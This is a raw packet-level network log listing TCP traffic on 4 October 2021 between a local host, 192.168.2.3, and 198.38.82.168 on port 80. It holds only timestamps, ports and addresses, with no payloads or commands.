Oct 4, 2021 16:03:55.170342922 CEST	50174	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:55.217470884 CEST	80	50173	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:55.218044043 CEST	50173	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:55.218523979 CEST	50173	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:55.218719959 CEST	50173	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:55.288784981 CEST	80	50174	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:55.288933039 CEST	50174	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:55.289149046 CEST	50174	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:55.289210081 CEST	50174	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:55.336225986 CEST	80	50173	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:55.380738974 CEST	80	50173	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:55.407294035 CEST	80	50174	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:55.446855068 CEST	80	50174	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:55.681016922 CEST	80	50173	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:55.681297064 CEST	80	50173	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:55.681406975 CEST	50173	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:55.825355053 CEST	80	50174	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:55.825388908 CEST	80	50174	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:55.825495005 CEST	50174	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:55.925791025 CEST	50175	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:56.067217112 CEST	50176	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:56.082257032 CEST	80	50175	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:56.082495928 CEST	50175	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:56.082775116 CEST	50175	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:56.082879066 CEST	50175	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:56.185379028 CEST	80	50176	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:56.185659885 CEST	50176	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:56.185883999 CEST	50176	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:56.185988903 CEST	50176	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:56.273672104 CEST	80	50175	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:56.280101061 CEST	80	50175	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:56.304124117 CEST	80	50176	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:56.343597889 CEST	80	50176	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:56.706007957 CEST	80	50176	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:56.706057072 CEST	80	50176	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:56.706120968 CEST	50176	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:56.731901884 CEST	80	50175	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:56.731914997 CEST	80	50175	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:56.731973886 CEST	50175	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:56.943231106 CEST	50177	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:56.971165895 CEST	50178	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:57.060759068 CEST	80	50177	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:57.060863972 CEST	50177	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:57.061084032 CEST	50177	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:57.061183929 CEST	50177	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:57.130161047 CEST	80	50178	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:57.130284071 CEST	50178	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:57.130518913 CEST	50178	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:57.130616903 CEST	50178	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:57.178504944 CEST	80	50177	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:57.218813896 CEST	80	50177	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:57.289521933 CEST	80	50178	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:57.329191923 CEST	80	50178	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:57.513618946 CEST	80	50177	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:57.513797998 CEST	80	50177	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:57.514163017 CEST	50177	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:57.630337000 CEST	80	50178	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:57.630455017 CEST	80	50178	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:57.633203983 CEST	50178	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:57.836272955 CEST	50179	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:57.866007090 CEST	50180	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:57.954005957 CEST	80	50179	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:57.954206944 CEST	50179	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:57.954490900 CEST	50179	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:57.954613924 CEST	50179	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:58.025307894 CEST	80	50180	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:58.025501013 CEST	50180	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:58.025955915 CEST	50180	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:58.026083946 CEST	50180	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:58.072057009 CEST	80	50179	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:58.111618042 CEST	80	50179	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:58.184978008 CEST	80	50180	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:58.224250078 CEST	80	50180	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:58.403358936 CEST	80	50179	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:58.403383017 CEST	80	50179	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:58.403569937 CEST	50179	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:58.621854067 CEST	50181	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:58.642800093 CEST	80	50180	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:58.643023968 CEST	80	50180	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:58.643126965 CEST	50180	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:58.742089033 CEST	80	50181	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:58.742322922 CEST	50181	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:58.742686033 CEST	50181	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:58.742700100 CEST	50181	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:58.858158112 CEST	80	50181	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:58.871233940 CEST	50182	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:58.897697926 CEST	80	50181	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:58.986196995 CEST	80	50182	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:58.986315966 CEST	50182	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:58.986479998 CEST	50182	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:58.986535072 CEST	50182	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:59.101007938 CEST	80	50182	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:59.140691996 CEST	80	50182	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:59.238574028 CEST	80	50181	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:59.238641024 CEST	80	50181	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:59.238748074 CEST	50181	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:59.439302921 CEST	80	50182	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:59.439332008 CEST	80	50182	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:59.439496040 CEST	50182	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:59.469589949 CEST	50183	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:59.585231066 CEST	80	50183	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:59.585383892 CEST	50183	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:59.585617065 CEST	50183	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:59.585675955 CEST	50183	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:59.701611042 CEST	80	50183	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:59.707285881 CEST	50184	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:59.740408897 CEST	80	50183	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:59.866861105 CEST	80	50184	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:59.866976023 CEST	50184	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:59.867185116 CEST	50184	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:59.867407084 CEST	50184	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:00.027529955 CEST	80	50184	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:00.056375980 CEST	80	50183	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:00.056415081 CEST	80	50183	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:00.056879997 CEST	50183	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:00.067569971 CEST	80	50184	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:00.316957951 CEST	50185	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:00.385198116 CEST	80	50184	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:00.385224104 CEST	80	50184	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:00.386245012 CEST	50184	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:00.476147890 CEST	80	50185	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:00.476278067 CEST	50185	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:00.476531029 CEST	50185	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:00.476613045 CEST	50185	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:00.624178886 CEST	50186	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:00.640880108 CEST	80	50185	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:00.676256895 CEST	80	50185	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:00.741951942 CEST	80	50186	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:00.742285967 CEST	50186	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:00.742311954 CEST	50186	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:00.742345095 CEST	50186	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:00.859965086 CEST	80	50186	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:00.899719000 CEST	80	50186	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:00.978023052 CEST	80	50185	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:00.978054047 CEST	80	50185	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:00.978147030 CEST	50185	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:01.188082933 CEST	80	50186	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:01.188142061 CEST	80	50186	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:01.188774109 CEST	50186	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:01.215733051 CEST	50187	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:01.330372095 CEST	80	50187	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:01.330743074 CEST	50187	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:01.330919981 CEST	50187	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:01.330964088 CEST	50187	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:01.415055990 CEST	50188	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:01.446305037 CEST	80	50187	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:01.446330070 CEST	80	50187	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:01.485712051 CEST	80	50187	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:01.572161913 CEST	80	50188	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:01.572487116 CEST	50188	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:01.572763920 CEST	50188	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:01.572838068 CEST	50188	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:01.728770971 CEST	80	50188	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:01.769144058 CEST	80	50188	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:01.776892900 CEST	80	50187	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:01.777020931 CEST	80	50187	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:01.777173996 CEST	50187	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:02.037115097 CEST	50189	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:02.059801102 CEST	80	50188	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:02.060077906 CEST	80	50188	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:02.065480947 CEST	50188	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:02.193393946 CEST	80	50189	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:02.193684101 CEST	50189	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:02.194102049 CEST	50189	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:02.194179058 CEST	50189	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:02.314173937 CEST	50190	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:02.350318909 CEST	80	50189	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:02.390211105 CEST	80	50189	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:02.473537922 CEST	80	50190	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:02.473792076 CEST	50190	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:02.474282026 CEST	50190	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:02.474524975 CEST	50190	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:02.636607885 CEST	80	50190	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:02.674137115 CEST	80	50190	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:02.678828001 CEST	80	50189	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:02.678863049 CEST	80	50189	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:02.679204941 CEST	50189	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:02.959276915 CEST	50191	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:02.972337961 CEST	80	50190	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:02.972471952 CEST	80	50190	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:02.972650051 CEST	50190	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:03.073904991 CEST	80	50191	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:03.074090004 CEST	50191	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:03.074296951 CEST	50191	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:03.074361086 CEST	50191	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:03.189810991 CEST	80	50191	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:03.228666067 CEST	80	50191	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:03.234646082 CEST	50192	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:03.350291014 CEST	80	50192	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:03.350408077 CEST	50192	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:03.350625992 CEST	50192	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:03.350657940 CEST	50192	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:03.465357065 CEST	80	50192	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:03.504728079 CEST	80	50192	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:03.773534060 CEST	80	50191	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:03.775248051 CEST	80	50191	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:03.775340080 CEST	50191	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:03.825813055 CEST	80	50192	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:03.825841904 CEST	80	50192	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:03.825923920 CEST	50192	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:04.056174994 CEST	50193	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:04.095889091 CEST	50194	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:04.212860107 CEST	80	50193	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:04.213587999 CEST	50193	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:04.213620901 CEST	50193	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:04.213624954 CEST	50193	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:04.215279102 CEST	80	50194	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:04.215756893 CEST	50194	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:04.215779066 CEST	50194	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:04.215785027 CEST	50194	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:04.336066961 CEST	80	50194	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:04.369785070 CEST	80	50193	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:04.372723103 CEST	80	50194	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:04.410237074 CEST	80	50193	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:04.655652046 CEST	80	50194	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:04.655739069 CEST	80	50194	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:04.655869007 CEST	50194	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:04.702747107 CEST	80	50193	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:04.702858925 CEST	80	50193	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:04.703147888 CEST	50193	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:04.873815060 CEST	50195	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:04.941576958 CEST	50196	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:04.988861084 CEST	80	50195	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:04.989058018 CEST	50195	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:04.989268064 CEST	50195	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:04.989351034 CEST	50195	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:05.097843885 CEST	80	50196	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:05.098623037 CEST	50196	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:05.098649025 CEST	50196	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:05.098653078 CEST	50196	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:05.103981018 CEST	80	50195	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:05.143626928 CEST	80	50195	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:05.255034924 CEST	80	50196	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:05.294398069 CEST	80	50196	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:05.433120966 CEST	80	50195	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:05.433222055 CEST	80	50195	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:05.433284998 CEST	50195	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:05.591675043 CEST	80	50196	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:05.591696024 CEST	80	50196	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:05.591794014 CEST	50196	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:05.717138052 CEST	50197	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:05.836652994 CEST	50198	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:05.874281883 CEST	80	50197	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:05.874936104 CEST	50197	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:05.875724077 CEST	50197	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:05.875832081 CEST	50197	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:05.994194031 CEST	80	50198	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:05.994375944 CEST	50198	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:05.994587898 CEST	50198	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:05.994657993 CEST	50198	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:06.032493114 CEST	80	50197	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:06.072443008 CEST	80	50197	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:06.153343916 CEST	80	50198	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:06.192369938 CEST	80	50198	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:06.396693945 CEST	80	50197	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:06.396922112 CEST	80	50197	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:06.396970034 CEST	50197	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:06.481024027 CEST	80	50198	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:06.481081009 CEST	80	50198	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:06.481184006 CEST	50198	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:06.684889078 CEST	50199	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:06.739214897 CEST	50200	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:06.844115019 CEST	80	50199	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:06.844228029 CEST	50199	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:06.844506025 CEST	50199	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:06.844552040 CEST	50199	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:06.896270037 CEST	80	50200	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:06.896430016 CEST	50200	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:06.896547079 CEST	50200	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:06.896632910 CEST	50200	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:07.003472090 CEST	80	50199	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:07.043243885 CEST	80	50199	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:07.052736044 CEST	80	50200	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:07.092334032 CEST	80	50200	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:07.353321075 CEST	80	50199	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:07.353360891 CEST	80	50199	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:07.353598118 CEST	50199	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:07.500559092 CEST	80	50200	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:07.500607967 CEST	80	50200	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:07.500709057 CEST	50200	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:07.565525055 CEST	50201	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:07.680111885 CEST	80	50201	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:07.681107998 CEST	50201	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:07.681158066 CEST	50201	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:07.681162119 CEST	50201	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:07.762902021 CEST	50202	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:07.795670033 CEST	80	50201	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:07.835711956 CEST	80	50201	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:07.919383049 CEST	80	50202	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:07.919974089 CEST	50202	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:07.919992924 CEST	50202	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:07.919996023 CEST	50202	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:08.075942993 CEST	80	50202	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:08.115164042 CEST	80	50202	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:08.146671057 CEST	80	50201	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:08.146724939 CEST	80	50201	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:08.146920919 CEST	50201	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:08.363053083 CEST	50203	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:08.401216984 CEST	80	50202	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:08.401427984 CEST	80	50202	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:08.402189970 CEST	50202	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:08.480613947 CEST	80	50203	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:08.480763912 CEST	50203	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:08.480962038 CEST	50203	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:08.481017113 CEST	50203	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:08.598511934 CEST	80	50203	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:08.614177942 CEST	50204	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:08.637770891 CEST	80	50203	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:08.729129076 CEST	80	50204	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:08.729453087 CEST	50204	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:08.729962111 CEST	50204	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:08.729985952 CEST	50204	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:08.844558001 CEST	80	50204	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:08.885948896 CEST	80	50204	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:08.942487001 CEST	80	50203	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:08.942621946 CEST	80	50203	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:08.949820042 CEST	50203	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:09.189121962 CEST	50205	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:09.196146011 CEST	80	50204	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:09.196429968 CEST	80	50204	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:09.196486950 CEST	50204	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:09.304850101 CEST	80	50205	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:09.304980993 CEST	50205	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:09.305177927 CEST	50205	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:09.305241108 CEST	50205	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:09.404707909 CEST	50206	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:09.419800043 CEST	80	50205	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:09.459830999 CEST	80	50205	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:09.519495010 CEST	80	50206	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:09.519606113 CEST	50206	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:09.519996881 CEST	50206	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:09.520145893 CEST	50206	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:09.634497881 CEST	80	50206	198.38.82.168	192.168.2.3
